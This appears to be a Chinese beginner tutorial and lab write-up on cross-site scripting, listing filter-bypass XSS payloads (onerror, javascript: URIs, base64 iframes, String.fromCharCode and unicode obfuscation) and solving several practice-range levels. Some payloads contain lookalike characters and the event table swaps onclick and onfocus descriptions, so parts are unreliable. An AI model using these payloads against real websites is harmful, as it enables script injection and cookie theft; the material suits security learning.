网安入门18-XSS(靶场实战)

HTML实体化编码

为了避免 XSS 攻击,会将<>编码为&lt;&gt;,这些就是 HTML 实体编码。

编码前 编码后
不可分的空格 &nbsp;
< (小于符号) &lt;
> (大于符号) &gt;
& (与符号) &amp;
″ (双引号) &quot;
' (单引号) '
© (版权符号) &copy;
// 复制代码
he.encode('<img src=""></img>') // "&#x3C;img src=&#x22;&#x22;&#x3E;&#x3C;/img&#x3E;"
 
// 转义
he.escape('<img src=""></img>') // "&lt;img src=&quot;&quot;&gt;&lt;/img&gt;"

常见的绕过payload

html 复制代码
<img src="x" onerror=alert(1)>
<img src=1 οnmοuseοver=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
<svg onload=alert(1)>
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<input type="hidden" accesskey="X" onclick="alert(1)">
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert&#40;1&#41;>(实体化()
<img src=1 onerror=alert&#40&#41>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" οnerrοr=location="javascript:alert(1)">
<img src="1" οnerrοr=location="javascript:alert%281%29">

靶场实战(一)

欢迎来到XSS挑战

Level 1

通过观察页面,猜测因该是一个传参name=test可以下手

查看页面源代码

从这里我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间,第一关没有过滤
payload:name=<script>alert('xss')</script>

Level 2

一个搜索框,故技重施失败了,判断他有过滤

查看源代码,上面一行是查询的回显,可以看到被实体化编码了,下面一行被双引号包裹

上面的实体化编码无法绕过了,现在的目标转化为下面一行,那就是闭合!
payload: "><script>alert(1)</script>//
或者 "><script>alert(1)</script><

实测也可以不用注释后面的">,说明HTML属于弱类型,校验不严格,另外查看这关源代码,调用的函数是 htmlspecialchars() 它的作用就是让 < 和 > 被HTML实体化编码
PHP htmlspecialchars() 函数

Level 3

还是搜索框,故技重施x2,无果,看源代码

这波看似没办法搞了,两边都被实体化了

仔细一想,两个尖括号以及被ban掉,

特殊事件 onmouseover onclick onfocuse 的介绍链接:
HTML onmouseover 事件属性 | 菜鸟教程
HTML onclick 事件属性 | 菜鸟教程
HTML onfocus 事件属性 | 菜鸟教程

函数 效果
οnmοuseοver=alert(1) 鼠标指针移至图片之上时弹窗
οnclick=alert(1) 输入域获得焦点时弹窗
οnfοcus=alert(1) 单击鼠标时弹窗

还有一个问题就是闭合这两个引号,闭合前面的,注释或者闭合后面的,这里跟上一关的标签闭合不一样,是比较严格的,不闭合属性中的值会无法执行
payload:' onmouseover=alert(1) //
或者: ' onmouseover=alert(1) x='

靶场实战(二)

alert(1)

0x00

啥也没有直接来吧

0x01

前面的<textarea>标签有个特性,无法创建其他标签,那就闭合掉

0x02

input标签,直接onmouseover+闭合连招,

还有种方法是闭合+新开标签 "> <script>alert(1)</script>

当然也可以用"><img src="x" onerror="alert(1)">也是很好用的

0x03

过滤了左右括号 () 那就用反引号`绕过

相关推荐
腾讯TNTWeb前端团队2 小时前
helux v5 发布了,像pinia一样优雅地管理你的react状态吧
前端·javascript·react.js
范文杰5 小时前
AI 时代如何更高效开发前端组件?21st.dev 给了一种答案
前端·ai编程
拉不动的猪5 小时前
刷刷题50(常见的js数据通信与渲染问题)
前端·javascript·面试
拉不动的猪5 小时前
JS多线程Webworks中的几种实战场景演示
前端·javascript·面试
FreeCultureBoy6 小时前
macOS 命令行 原生挂载 webdav 方法
前端
uhakadotcom6 小时前
Astro 框架:快速构建内容驱动型网站的利器
前端·javascript·面试
uhakadotcom7 小时前
了解Nest.js和Next.js:如何选择合适的框架
前端·javascript·面试
uhakadotcom7 小时前
React与Next.js:基础知识及应用场景
前端·面试·github
uhakadotcom7 小时前
Remix 框架:性能与易用性的完美结合
前端·javascript·面试
uhakadotcom7 小时前
Node.js 包管理器:npm vs pnpm
前端·javascript·面试